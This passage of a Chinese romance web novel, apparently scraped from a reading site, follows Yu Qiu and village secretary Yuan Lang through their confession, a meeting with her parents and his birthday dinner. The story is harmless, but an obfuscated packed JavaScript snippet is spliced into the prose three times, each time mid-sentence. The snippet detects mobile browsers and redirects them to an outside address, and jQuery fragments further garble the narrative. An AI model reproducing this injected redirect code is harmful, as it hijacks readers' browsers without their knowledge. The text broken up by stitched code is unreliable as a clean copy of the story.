“我错得离谱。” 原朗的手指收紧,几乎要掐进她的腰里,声音里带着自嘲。 余楸想解释,却被他接下来的话打断。 “我控制不住去比较,把我和那个男人比较。” 原朗抬起头,眼神执拗地盯着她。 “他陪了你十几年,知道你喜欢吃什么,知道你小时候的糗事,知道你所有的习惯......” “而我呢?” “我缺席了你人生最重要的那些年,你的童年,你的少女时期,在你安稳的25岁突然冒出来,把你的生活弄得鸡飞狗跳,我又凭什么指望你能......” 他的声音哽住了,喉结上下滚动了一下,像是把后半句话咽了回去。 “指望你能喜欢我。” 余楸终于明白原朗这段时间的反常是为什么了。那些莫名其妙的醋意,那些阴阳怪气的话,还有他最近拼命工作的样子 ——他是在用这种方式证明自己比贺源强。 ——证明他比贺源更值得自己去喜欢。 记忆的碎片在脑海中闪回,像被雨水打湿的玻璃,模糊却又透着光亮。 余楸想起了那个发烧的夜晚。 梦里是初夏的傍晚,夕阳将蟹塘的水面染成金红色。她穿着那条淡蓝色的连衣裙,赤脚踩在湿润的泥土上,脚趾间渗出微凉的触感。原朗站在不远处的柳树下,穿着她最喜欢的那件浅蓝色衬衫,向她挥手。 “余小秋。” 他笑着唤她,声音比平时更加温柔,带着她从未听过的亲昵。 梦里的她不由自主地向他走去,脚下的青草柔软得像地毯。原朗伸手摘下落在她发间的一片柳叶,指尖不经意擦过她的耳廓,留下绵密的触感。 “叫我阿原好不好?” 他突然说,手指轻轻缠绕着她的一缕发丝。 “为什么?” 男人凑近她耳边,温热的呼吸拂过她敏感的颈侧。 “因为这个称呼,是爱我的人赋予我的。” ——或者说,我的姑娘,你愿意爱我吗? 余楸记得自己当时红着脸,却鬼使神差地喊了一声: “阿原。” 像是一把钥匙,瞬间打开了什么隐秘的开关。原朗的眼神立刻变了,深邃的眸子里翻涌着她从未见过的暗潮。他一把扣住她的手腕,将她拉进怀里。 梦里的阳光突然变得刺眼起来。余楸能清晰地感受到原朗胸膛的温度,闻到他身上淡淡的松木香混着阳光的味道。 她感受着失速的心跳,缓缓踮起脚尖,吻上了男人的唇。 那个吻带着初夏的温度,柔软而湿润。 原朗似乎愣了一下,随即反客为主,一只手扣住她的后脑,加深了这个吻。他的唇舌带着不容抗拒的力度,却又温柔得让人心颤。 他们躺在柳树下的草地上,原朗撑在她上方,阳光透过树叶在他脸上投下斑驳的光影。他低头轻吻她的眉心,然后是鼻尖,最后停留在唇上,辗转厮磨。 “再叫一次。” 男人在唇齿间呢喃。 “阿原。” 她听见自己这样唤他,声音软得不像话。 这个称呼似乎取悦了他。原朗低笑一声,吻沿着她的下颌线一路向下,在颈侧流连。他的手掌温暖而有力,轻轻抚过她的腰际, 梦里的阳光渐渐变得朦胧,像是被一层薄雾笼罩。余楸感觉自己漂浮在温暖的水面上,原朗的吻是唯一的支点。 就在意识即将沉沦的瞬间,她听见自己又喊了一声: “阿原。” 这个声音如此清晰,以至于她分不清到底是梦境还是现实。直到此刻回想起来,余楸仍能感受到梦里那种心跳加速的悸动,和唇上残留的温热触感。 她想起不久之前,裴知意曾经无意间提起过:“我们一圈朋友都喊原朗''阿原哥哥'',因为他名字里有个''原''字嘛。” 当时余楸还觉得诧异,怎么会有这么巧的事? 贺源是“阿源”,而原朗也是“阿原”。 现在想来,或许从那个时候起,这个称呼就已经悄悄烙在了她心里。那个称呼,那些亲昵,都是她潜意识里最真实的渴望。 而现在,梦境与现实重叠,她终于明白,那个夜晚她喊的“阿原”,确确实实是在叫眼前这个人。 余楸捧住男人的脸,强迫他看着自己的眼睛。 “原朗,你听我说。” 她的声音很轻,却异常坚定。 “我从来没有把你当成他的替身。” 原朗的眼神闪烁了一下,像是在判断这句话的真实性。 “我承认贺源哥对我很重要,我也承认,我曾经喜欢过他。” “但那是因为他像我的家人一样照顾过我。而你......” 余楸的指尖轻轻描摹着他的眉眼。 “你是不同的。” “哪里不同?”男人执拗地追问,声音沙哑。 余楸深吸一口气,鼓起勇气直视他的眼睛:“我会因为他的一句夸奖开心一整天,但会因为你的一个眼神整夜睡不着。他生病了我也会担心,但不会像看到你这样......” 她的手指轻轻按在他胸口。 “这里疼得发慌。” 原朗的呼吸明显滞了一下,眼神变得更深。 “至于那个梦话,”她有些不好意思地抿了抿唇,“如果我说,那天我喊的,真的是你。” “你相信吗?” 男人的瞳孔微微扩大,像是没想到会得到这样的回答。 “而且,你为什么要和他比?你们本来就是完全不同的人。他温柔体贴,你......” 她顿了顿,“你固执又别扭,工作起来不要命,说话有时候能气死人......” “但是!” “我就是喜欢这样的你。” “喜欢你在村委会熬夜工作的样子,喜欢你明明关心村民却硬要装出一副公事公办的态度,甚至......” “喜欢你吃醋时这副不讲理的样子。” “原朗,你不需要跟任何人比较。这是贺源跟姜莱教给我的,现在,我也教给你。” “所以,我的原少爷。” 余楸搂上原朗的脖子,大胆地注视着那双深邃的眸子。 “请你继续做那个让我气得跳脚又忍不住偷看的讨厌鬼,好不好?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879008|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这句话像是一把火,瞬间点燃了原朗眼中的暗色。他猛地低头,这次不再是惩罚性的轻咬,而是一个炽热到几乎让人窒息的吻。 余楸被他突如其来的动作惊得睁大了眼睛,但很快就在他强势的攻势下败下阵来。 他的唇舌带着不容拒绝的力度撬开她的齿关,像是要把这段时间积攒的所有不安和醋意都通过这个吻发泄出来。 “余楸。” 他在换气的间隙咬着她的下唇呢喃。 “再说一遍。” “说、说什么?”她被吻得晕头转向。 男人的拇指按在她的唇上,眼神暗沉。 “说你喜欢我。” 是了,骄傲的大少爷就是这么直白地索要告白。 余楸刚想刚开口,就被他再次封住了唇。这次的吻更加深入,他的手掌从她的腰际滑到后背,将她整个人压向自己。 她能清晰地感受到他胸膛的温度和心跳的震动,快得吓人。 “不说也行,”原朗的唇移到她的耳畔,声音低哑。 “我有的是办法让你说出来。” 余楸被他话里的暗示激得浑身一颤。男人似乎很满意她的反应,低笑了一声,随即含住了她的耳垂。 “原朗......” 她下意识地抓住他的衣襟,声音里带着求饶的意味。 “嗯?” “怎么了,我亲爱的塘主?” 他漫不经心地应着,唇却沿着她的颈线一路向下,在锁骨处留下一个明显的红痕。 “别......” 余楸的抗议毫无力度,反而像是某种邀请。 原朗抬起头,眼神危险地眯起:“不要我碰这里?” 他的手指轻轻划过她泛红的皮肤,让余楸忍不住颤抖。 “那你说,我是谁?” “原朗。”她下意识地回答。 “不对。”他的声音沉了下来,“你刚才叫我什么?” 余楸这才反应过来,脸更红了:“阿、阿原......” 原朗的嘴角勾起一个满意的弧度,低头亲了亲她的鼻尖。 “以后只准这么叫我。” “也只准想着我。” 男人恶劣的独占欲在此刻展现得淋漓尽致。余楸却意外地不觉得讨厌,反而有种被珍视的感觉。 “那你呢?” 她鼓起勇气反问,“你还没说你......” “我爱你。” 他打断她,声音低沉而坚定。 “不是喜欢,是爱。” 是和他爸爸一样,愿意守护妈妈一辈子的爱。 原朗看着余楸泛红的眼圈,眼神柔和下来。他轻轻吻去她眼角的湿意。 “哭什么?” “谁哭了......” 她嘴硬道,声音却带着明显的哽咽。 原朗低笑一声,不再逗她,而是将她紧紧搂在怀里。余楸的脸贴在他的胸口,能听到他有力的心跳声。 一下一下。 和她的一样快。 “余楸。” 他忽然开口,声音里带着前所未有的认真。 “我会用接下来的几十年,把缺席的那些年都补回来。” 余楸的眼泪终于忍不住落了下来。 她伸手环住他的腰,把脸更深地埋进他的胸膛。 “我就,信你这一次。” 原朗看起来很满意她的反应,低头寻到她的唇,再次吻了上去。这次的吻温柔了许多,带着安抚的意味,像是无声的承诺。 余楸渐渐放松下来,开始生涩地回应他。男人感受到这个小小的举动,呼吸瞬间激烈交缠。 他单手扣住她的后脑,加深这个吻。 “阿原。” 余楸在他唇间含糊地抗议,却被更热烈的吻堵了回去。 直到因为缺氧而轻轻推他的胸口,原朗才勉强放开她。两人的呼吸都乱得不成样子,额头相抵,在极近的距离对视。 “宝宝。” 男人牵起她的手,落下虔诚的一吻。 “你想让我继续吗?” 32. 名分 男人的唇还贴在她的耳垂上,灼热的呼吸烫得余楸浑身发软。 原朗的衬衫领口凌乱地敞着,锁骨上还留着她刚才不小心抓出的红痕,那双总是带着傲气的眼睛此刻暗沉沉的,翻涌着她看不懂的情绪。 余楸感受到耳边喷洒的热气,突然,有一个湿热的物体划过她的耳尖。 “可以吗?” “嗯?” 余楸的手心冒汗,脑子却什么也抓不住。 原朗的唇移到她的颈侧,轻轻咬了一下。 “只要你喊停,我就停下来。” 他的声音又低又苏,沙哑,又带着蛊惑的意味。 余楸承认,她差点就点头了。 但残存的理智让她轻轻推了推男人的肩膀,红着脸凑上去,亲了亲他的鼻尖。 “以后……” “好吗?” 原朗的眼神暗了暗,最终却只是低笑了一声。 “嗯,我等着。” ——他等着他们的以后。 说完,直接弯腰,一把将人打横抱起来。 余楸惊呼一声,下意识搂住他的脖子:“你又干嘛!” “抱你去客厅。”他的语气理所当然,甚至还恶劣地颠了她一下,“腿软了就别逞强。” 余楸羞得想咬他,可又反驳不了——她确实腿软。 原朗抱着她往客厅走,走到一半,突然停下脚步,挑眉看她:“换个姿势?” “什么姿势?” 他唇角一勾,忽然托着她的臀往上一抬,余楸吓得赶紧搂紧他的脖子,双腿下意识环住他的腰,整个人像树袋熊一样挂在他身上。 “原朗!” “我在呢。”他笑得恶劣,甚至还故意凑近她耳边。 “这不是挺稳的吗?” 余楸发誓,等到了客厅一定要揍得他满地找牙。 可还没等她付诸行动,玄关处突然传来“砰”的一声巨响—— 门被猛地推开,一个人影以迅雷不及掩耳之势冲了进来。 “秋秋你没事……” “吧……” 声音戛然而止。 客厅里,余楸像只受惊的兔子一样挂在原朗身上,原朗的手还托着她的臀,衬衫皱得不像话,领口大开,锁骨上明晃晃的吻痕刺眼得要命。 空气凝固了。 林小樱发誓,这是她这辈子见过最香艳的场景,没有之一。 嘴巴张了又合,合了又张,最终只憋出一句。 “打扰了。” 余楸大脑已经飞到外星球,猛地踹了原朗一脚。男人吃痛闷哼,手上力道一松。 她趁机跳下来,抓起林小樱的手就往外冲,速度快得仿佛身后有恶鬼在追。把迟迟赶来的裴知路撞得一步三踉跄,好久才定神。 裴知路扶着脑袋,缓缓转头,看向原朗——男人衬衫半湿,隐约透出紧实的腰腹线条,眼里未散的情欲混合着被打断的不爽,整个人散发着低气压。 “……” 裴知路咽了咽口水。 “我是不是来得不是时候?” 原朗冷冷瞥他一眼:“你知道就好。” “那什么……”裴知路干笑两声,“小樱非说余楸被你拐走了,怕你欺负她……” “欺负?” 原朗嗤笑一声,慢条斯理地整理着衬衫袖口。 “我倒是想。” “你看我敢吗?” 裴知路:“……” 原朗抬眸,眼神不善:“还有事?” “没了没了,原少你忙。”裴知路说完转身就走,关门前又补了一句。 “那啥,注意身体。” “去你的!” 抱枕没有命中裴知路的俊脸,而是砸到了门上。 原朗低头看了眼,烦躁地抓了抓头发,最终只能认命地走向浴室。 * 余楸把林小樱拽进自己房间,反手锁上门,两个姑娘扑倒在柔软的床铺上,不约而同地长舒一口气。 “秋秋!”林小樱翻身坐起,眼睛亮晶晶的,“你俩……” “到底进行到哪一步了?” 余楸抓起枕头捂住发烫的脸:“就,就亲了几下。” “几下?”林小樱坏笑着扯开她的枕头,“我看原书记锁骨上的印子可不止''几下''那么简单哦~” “小樱!”余楸羞得去掐她的腰,两人笑闹着滚作一团。 闹够了,余楸仰面躺着,望着天花板轻声说:“其实现在想想,好不真实啊。” “我还是会想...…他那么好,为什么会喜欢我呢?” 又不止于喜欢,他甚至用了“爱”这个字。 林小樱凑过来,握住她的手:“我还不是一样?每次裴知路说喜欢我,我都觉得他在开玩笑。” 她捏了捏余楸的手指,“但你知道吗?那天他喝醉了,抱着我说''小樱,你能不能别总觉得自己配不上我''。” 余楸转头看她,对上微微发红的眼眶。 “我们是不是太傻了?”林小樱吸了吸鼻子,“他们喜欢的就是我们本来的样子啊。” 余楸想起原朗说“我就喜欢你气得跳脚的样子”,忍不住笑了:“是啊。不过,” 她突然严肃起来,“你一定要保护好自己,知道吗?” “这话该我说才对吧。” 林小樱戳她额头,“你刚才差点就被吃干抹净了!” “我拒绝了好不好!”余楸红着脸辩解。 “其实,我挺害怕的。” “怕自己不够好,怕以后...…” “嘘——”林小樱打断她,“余楸同学,请记住你是全乡最年轻的蟹塘老板,渔歌非遗传承人,直播带货小能手!” 她捧起余楸的脸,“这样的你,配得上全世界最好的爱情。” 余楸眼眶发热,用力点头:“你也是!我们都要勇敢一点。” 月光透过窗帘洒在两个姑娘身上,她们头靠着头,像小时候那样说着悄悄话,只是话题从“明天去哪玩”变成了“要怎么经营这份珍贵的感情”。 窗外的月亮悄悄躲进云层,仿佛也不好意思偷看少女们的私房话。 * 清晨的村委会会议室里,阳光透过玻璃窗洒进来,在长桌上投下一道明亮的光带。 余楸坐在会议桌前,一本正经地翻看着蟹塘监测报告,却总觉得有一道灼热的视线黏在自己身上。 “咳咳。”她清了清嗓子,假装不经意地抬头,正好撞上原朗含笑的目光。 见余楸看过来,他故意挑了挑眉,嘴角勾起一抹坏笑。 余楸立刻低下头,耳尖悄悄红了。 “噗——”坐在旁边的林小樱突然捂住嘴,肩膀一抖一抖的。 “小樱!干啥呢这是。”林书记疑惑地看过来。 “没、没有!”林小樱憋得脸都红了,“就是突然想到一个开心的事。” 余楸在桌下狠狠踩了她一脚。 “好了,说正事。”余楸翻开笔记本,声音恢复了往日的干练,“现在是八月中旬,距离螃蟹上市只剩不到一个月了。最近持续高温,蟹塘水温已经接近警戒线,螃蟹很容易产生应激反应。” 她调出手机上的监测数据投影到屏幕上:“从昨天开始,3号塘和5号塘的溶氧量明显下降,我已经安排工人增加了增氧机的工作时长。林书记,你负责的片区今天要重点巡查这几个指标。” 原朗撑着下巴看她,眼神专注得不像话。余楸讲解时偶尔瞥他一眼,发现他根本没看屏幕,就一直盯着自己看,顿时又羞又恼。 “原书记。”她故意提高音量,“您有什么补充吗?” 原朗这才慢悠悠地坐直身体:“余塘主说得很全面了。我只补充一点。” 他突然正经起来,“最近天气炎热,各位上门走访时一定要多关心独居老人和留守儿童,看看防暑降温措施是否到位。” “另外,”原朗继续道,“余塘主刚才提到的巡塘排班,我建议增加早晚班次,避开正午高温。村委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884969|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会成员轮流值班,我和余塘主负责最辛苦的凌晨时段。” 余楸猛地抬头:“你...…” “怎么?” 男人似笑非笑地看她,“余塘主有意见?” “没、没有。”余楸赶紧低头记笔记,掩饰自己发烫的脸颊。 会议结束后,众人陆续离开。余楸装作整理文件的样子,慢吞吞地收拾着。 余光瞥见原朗也磨磨蹭蹭地没走,正在窗边假装看文件。 等最后一个人的脚步声消失在走廊尽头,会议室的门咔哒一声关上了。 “你怎么还在这?”余楸头也不抬地问,笔尖在纸上胡乱划拉着。 “我为什么不能在这?”原朗慢悠悠地踱步过来。 “倒是余塘主,会都开完了还不走?” “我有正事要整理!”余楸嘴硬道。 “啊,那巧了。” 原朗单手撑在她面前的桌上,俯下身来。 “我也有正事。” 余楸还没来得及反应,他的唇就轻轻贴了上来。只是一个简单的触碰,像蝴蝶掠过花瓣般轻柔,却让她的心跳瞬间加速。 “流、流氓!”余楸红着脸推开他。 原朗低笑:“你喜欢流氓。” 余楸语塞,气呼呼地合上笔记本,却又忍不住叮嘱:“那个,最近天气热,你早上巡塘的时候一定要注意安全。要记得吃早饭,不然气温上来很容易低血糖。” 原朗眼中闪过一丝笑意,乖乖点头。 “还有,”余楸继续道,手指无意识地卷着笔记本的页角,“晚上就别熬夜了,你最近都没有好好休息。有事先交给林书记他们,或者...…给我也行。” 原朗直接坐到了办公桌上,长腿随意地支着,就这样安静地听她唠叨。 “记住了没?”余楸伸手戳了戳他的膝盖。 “记住了。” 原朗突然凑近,“你特地留下来,就为了说这些?” 余楸咬了咬下唇,这小子居然看得出来她有事要说。 她支支吾吾地问:“你后天...…有空吗?” “后天?” 原朗舔了舔虎牙,笑得意味深长,“有时间啊,怎么?” “那,那我请你吃饭吧。”余楸的声音越来越小。 “干嘛好好的要请我吃饭?” 余楸起身就要走:“你不饿那你别吃。” “哎哎哎——”原朗一把拉住她的手腕,“好了好了,逗你的。” 他歪着头看她,“我要是不去的话,谁来拯救那些可怜的食材?” “原朗!” 余楸气得想打他,却被他顺势一拽,整个人跌进他怀里。 她的后背紧贴着他的胸膛,能清晰地感受到他有力的心跳。 “余小秋。” 原朗的下巴搁在她肩上,呼吸拂过她的耳垂。 “你打算什么时候给我一个名分?” “什、什么名分?”余楸的耳朵红得滴血。 “就是告诉你爸妈呀。”原朗的声音带着笑意,“难不成,我要天天翻墙去你家找你?还是说...…” 他的唇几乎贴上她的耳廓。 “你就喜欢这种刺激的感觉?” “我才没有!你别胡说!” 余楸挣扎着想转身,却被他搂得更紧。 “那什么时候?”原朗不依不饶。 “过、过一段时间吧。” 余楸的声音细如蚊呐,“等我想想怎么说……” 她的话没能说完,因为原朗突然扳过她的脸,重重地吻了上来。 这个吻不同于之前的温柔,带着不容拒绝的强势,他的舌尖撬开她的齿关,肆意掠夺着她的呼吸。余楸被他吻得腿软,只能无助地抓着他的衣襟。 就在两人呼吸越来越急促时,“啪嗒”一声响惊醒了他们。 余楸猛地转头,只见会议室门口站着一个人,两个保温桶掉在地上,汤汁洒了一地。 “妈?!” 33. 生日快乐 余楸坐在自家堂屋的木凳上,手指不停地绞着衣角,眼睛时不时往门口瞟。 她感觉自己像个等待审判的犯人,而原朗就是那个即将宣布判决的法官。 “你能不能别转了?” 余母从厨房探出头来,“转得我头晕。” “妈!” 余楸压低声音,“您能不能别这么淡定?一会儿他来了您可别...…” “别什么?” 余母擦了擦手,笑眯眯地问,“别为难你那小男朋友?” 余楸的脸“腾”地红了:“哎呀妈!什么小男朋友……” 他明明整个人都很大只好吗?! 余母和刚进门的余父交换了一个眼神,两人不约而同地笑了。 余父放下手里的渔网,意味深长地说:“要不是你妈撞见了,还打算瞒我们多久?” 余楸正要解释,院门外传来熟悉的脚步声。她的心跳瞬间加速,不自觉地攥紧了衣角。 原朗今天穿了件挺括的白衬衫,黑色休闲裤,手里还提着两盒精致的礼盒。 他站在门口,礼貌地敲了敲敞开的院门:“余叔,余婶。” 余楸瞪大眼睛,这人怎么一副回自己家的样子? “哎呀,原书记来了!”余母热情地迎上去,“来就来,带什么东西呀!” “应该的。”原朗微笑着递上礼盒,“这是京城带来的茶叶和补品,听说叔叔喜欢喝茶。” 余父眼睛一亮,接过茶叶闻了闻:“好茶!” 余楸目瞪口呆地看着三人寒暄,原朗居然和她爸聊起了茶叶品种,还说得头头是道。 这人是偷偷补课了吗? “那个...…”余楸弱弱地举手。 “你们要不要坐下聊?” 四人落座后,气氛突然安静下来。 余楸紧张得手心冒汗,原朗却气定神闲地端起茶杯抿了一口。 “叔叔阿姨,”他突然开口,声音沉稳有力,“我今天来,是想正式告诉您二位,我在和余楸交往。” 余楸一口茶喷出来,呛得直咳嗽。 不是这家伙这么直接的吗?! 能不能稍微委婉一点呀! 余父余母对视一眼,余母眼中闪过一丝了然:“我就说嘛,上次在村委会...…” “妈!别说了!”余楸羞得想钻地缝。 原朗却笑了:“阿姨慧眼如炬。其实我喜欢余楸很久了,从她第一次在村委会会议上怼我开始。” 余父饶有兴趣地问:“哦?她怎么怼你的?” “爸!”余楸绝望地捂住脸。 原朗绘声绘色地描述起余楸当初如何据理力争,为村民争取利益。余父听得连连点头,余母则一脸“我女儿真棒”的骄傲表情。 聊着聊着,余母突然想起什么似的:“哎呀,我上次还跟秋秋开玩笑,说原书记这么优秀,你不会对他有意思吧……” 余楸直接扑过去把妈妈的嘴巴捂住。 “原来,你这么早就对我图谋不轨了啊。”男人的语气满是调笑。 余父余母被逗笑了。余母起身往厨房走:“留下来吃饭吧,正好今天买了新鲜的鱼。” “我来帮忙。”原朗二话不说跟了上去。 余楸愣在原地。 这就过关了?没有盘问家世背景?没有考验人品?她爸妈就这么轻易地把女儿“卖”了? 厨房里,原朗已经熟练地坐在灶台前拉风箱。火光映在他轮廓分明的侧脸上,额角渗出细密的汗珠,白衬衫的袖口沾上了灶灰,却丝毫不减他的气质。 余楸靠在门框上看着这一幕,心里莫名涌上一股暖流。 这个在京城长大的少爷,此刻坐在她家简陋的灶台前,却比任何时候都让她心动。 “别看了别看了,以后还有得看。” 余母递给她一把葱,“剥葱去。” 饭桌上,原朗和余父聊得热火朝天,从蟹塘管理到乡村振兴,再到京城的变化。余母不时插话,三人其乐融融。 余楸默默扒着饭,感觉自己像个外人。 谁才是亲生的啊? “原朗啊,”余母突然问,“你家里还有什么人呀?” 余楸筷子一顿,紧张地看向原朗。只见他神色如常:“我母亲去世得早,父亲在京城做生意。上次来村里的沈律师,其实是我后妈。” 饭桌上安静了一瞬。 余母眼中闪过一丝心疼:“好孩子,辛苦了。” 余楸在桌下悄悄握住原朗的手,轻轻捏了捏。他回握住她,嘴角扬起一个安抚的笑。 饭后,原朗主动帮忙收拾碗筷。余楸看着他灰扑扑的脸和衬衫,默默去打了盆温水,拧了条毛巾。 “低头。”她命令道。 原朗乖乖弯腰,让她擦去脸上的灶灰。余楸动作轻柔,指尖偶尔蹭过他的皮肤,带来一阵微妙的触感。 “其实,你不用这么献殷勤,”她小声嘀咕,“感觉...…” “怪怪的。” 脑海中突然闪过那些她看过的八点档狗血剧,男主前期无微不至,婚后原形毕露。 原朗会是那样的人吗? 但转念一想,要是他敢不做人,她就往他被窝里塞满螃蟹,咬得他哭着叫姐姐。 “你觉得我在献殷勤?”原朗握住她的手腕,声音带着笑意。 “余小秋,我哪次来你家没有忙前忙后?我哪次让你饿到了吗?嗯?” 说完,他轻轻捏了捏她的鼻尖,然后偷笑着溜去了客厅。 余楸摸着被捏的鼻子,心跳又不争气地加快了。 送原朗到门口时,夕阳已经西沉。余楸绞着手指:“后天晚上,七点,别忘记啦。” “忘记什么也不会忘记这个。”原朗低头看她,眼中盛满温柔。 “那你回去吧,下午还要去女孩之家,这些天我都在休息,小樱一个人忙不过来,得赶紧去帮她。” 原朗却没动,只是盯着她看。 “你没什么想跟我说的吗?” 余楸压抑住狂跳的心脏,低头看着地面。 “那个...…再见?” “是不是少了点什么?” “什么?” 原朗突然凑近,在她脸颊上轻轻一吻,然后转身就跑,像个恶作剧得逞的少年。余楸愣在原地,手指不自觉地碰了碰被亲的地方。 “什么啊。”她嘟囔着,嘴角却忍不住上扬。 一转身,却看见爸妈趴在窗台上,见她看过来,立刻假装看风景:“没看见啊!什么都没看见啊!” 余楸扶额叹息,心里却甜得像灌了蜜。 * 厨房里,余楸手忙脚乱地翻动着锅铲,额头上沁出细密的汗珠。她第三次尝了尝红烧肉的咸淡,皱着眉头又加了一勺糖。 “爸!妈!你们不是说要去看二姑吗?”她朝客厅喊道,声音因为紧张而略微发尖。 余母从门边探出头,眼里闪着促狭的光:“这就走,这就走。不过秋秋啊,你确定不需要帮忙?上次你做红烧肉差点把锅烧穿。” “那都是三年前的事了!” 余楸红着脸把母亲往外推,“快去吧,二姑不是等着你们吗?” 看着父母的身影消失在院门外,余楸长舒一口气,转身回到灶台前。 今天是原朗的生日,她计划了一周的惊喜可不能搞砸了。 事情要从上周说起。她本想去县城给原朗买个礼物,毕竟两人正式交往了,总该送点什么。结果在街上偶遇裴知路,闲聊中意外得知再过几天就是原朗生日。 “他不怎么过生日的,”裴知路当时这么说,“从他妈妈去世后就不怎么过了。虽然沈姨会给他送礼物,但也就这样了。大部分时候,他一个人窝在房间里,或者是跟我喝酒。” 余楸想给原朗过生日,想让他开心。 今天正好原朗去邻村考察,她特意支开父母,准备大展身手。 “红烧肉、清蒸鱼、油焖虾...…”余楸数着菜名,突然闻到一股焦味,“糟了!” 她手忙脚乱地关火,还是晚了一步——锅底的肉有些发黑了。 正当她懊恼时,一双温暖的手突然从背后环住她的腰。 “做什么好吃的呢?这么香。” 余楸吓得差点跳起来,转身就对上了原朗含笑的眼睛。 他今天穿了件深蓝色衬衫,领口微敞,露出好看的锁骨。身上还带着风尘仆仆的气息,发梢有些湿,像是刚洗过脸。 “你、你怎么这么早就回来了?” 余楸结结巴巴地问,下意识用身体挡住灶台。 原朗把下巴搁在她肩上,声音带着疲惫的撒娇:“累死了,跑了三个村子,腿都要断了。” 他蹭了蹭她的颈窝,“让我抱会儿充充电。” 余楸的心瞬间软成一滩水。 她放松身体靠在他怀里,任由他像只大型犬一样黏着自己。原朗的呼吸喷在她耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889317|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畔,痒痒的,带着淡淡的薄荷牙膏味。 “不是说考察到晚上吗?” 她玩着他的袖扣,轻声问。 “想你了,就提前回来了。” 原朗的声音闷闷的,“结果一到家发现没人,猜你肯定在这儿。” 余楸转身戳了戳他的胸口:“油嘴滑舌的家伙。” “饿不饿?” “饿。”原朗可怜巴巴地看着她。 “你喂我?” “想得美!” 余楸红着脸推开他,“去洗手,马上开饭。” 原朗笑着去洗手间,余楸赶紧把烧焦的红烧肉藏在最下面,把其他菜端上桌。 她还特意准备了两瓶冰镇青岛啤酒,和一个小蛋糕——虽然形状有点歪,但好歹是她亲手做的。 “哇,今天什么日子?” 原朗擦着手走过来,眼睛亮晶晶的,“这么丰盛。” 余楸故作镇定:“就...…普通日子啊。快坐下吃饭。” 月光透过窗户洒在餐桌上,给窗户边的小木桌染上一层宁静又温馨的银色。 原朗夹了块鱼肉放到余楸碗里,笑着说:“要是点上蜡烛,就是烛光晚餐了。” 这句话正中余楸下怀。她强忍着笑意,起身从抽屉里拿出早就准备好的蜡烛,一根根插在小蛋糕上。 原朗愣住了:“这是...…” “生日快乐。” 余楸轻声说,点燃蜡烛,“许个愿吧。” 烛光在原朗深邃的眼中跳动,映照出他罕见的怔忡表情。 他张了张嘴,似乎想说什么,最终只是闭上眼睛,虔诚地许了个愿,然后吹灭蜡烛。 “你怎么知道今天是我生日?”男人的声音有些哑。 “秘密。” 余楸得意地眨眨眼,给他倒了杯啤酒,“尝尝,特意冰镇的。” 玻璃杯在月光下碰撞,发出清脆的声响。冰凉的啤酒滑过喉咙,带着微微的苦涩和回甘。 原朗的目光一直没离开过余楸的脸,腻人的甜味自眼神里倾泻。 他抿了口酒:“自从我妈走后,我就不喜欢过生日了。” “但是今年的生日,我过得很开心。” 余楸心头一酸,伸手覆上他的手背:“开心就好。” “以后的每个生日,我都陪你过。” 原朗反手握住她的手指,轻轻捏了捏:“这可是你说的,不许反悔。” “谁反悔谁是小狗!” 两人相视一笑。 余楸突然想起什么,红着脸从口袋里掏出一个小盒子。 “给你的礼物,做得不太好,你别笑话。” 原朗小心翼翼地打开盒子,里面是两个小小的陶土人偶——一个扎着马尾辫的女孩,和一个穿着衬衫的男孩,手牵着手站在一片小荷叶上。虽然做工粗糙,但神态活灵活现。 “这是...…”他的手指轻轻抚过人偶。 “我们呀。”余楸的声音越来越小,“我跟村口的张爷爷学了一周才做出来的。本来想做更精致的,但时间来不及了。只能勉强做成这样了。” 原朗突然站起身,绕过桌子一把将她搂进怀里。 余楸能感觉到他的心跳得很快,隔着衬衫传来有力的震动。 “我很喜欢。” 他在她耳边低声说,“这是我收到过最好的礼物。” 余楸的脸埋在他胸前,闻着他身上淡淡的松木香,心里甜滋滋的。 原朗轻轻捧起她的脸,目光温柔地注视着她。 余楸看着他越来越近的面庞,下意识闭上眼睛。等了半天却没有预料中的触感,她疑惑地睁开眼,发现原朗正坏笑着看她。 “这么想我亲你吗?“他促狭地问。 “才没有!“余楸羞恼地推开他。 “可我想亲你。” 下一秒,原朗直接扣住她的后脑,吻了上来。这个吻温柔而绵长,带着啤酒的麦芽香气。余楸的手不自觉地攀上他的肩膀,感受着他炽热的体温。 不知过了多久,余楸才被放开。 “你可不可以,送我一份生日礼物?” 原朗盯着她看,语气幼稚又霸道。 余楸觉得他真的很贪心,自己准备了烛光晚餐,还被他亲得七荤八素的,居然还想要礼物。 可是,生日嘛,寿星最大。 她还是顺着问了一句:“你想要什么?” “跟我去个地方。” 34. 裂痕 “就这个吗?” 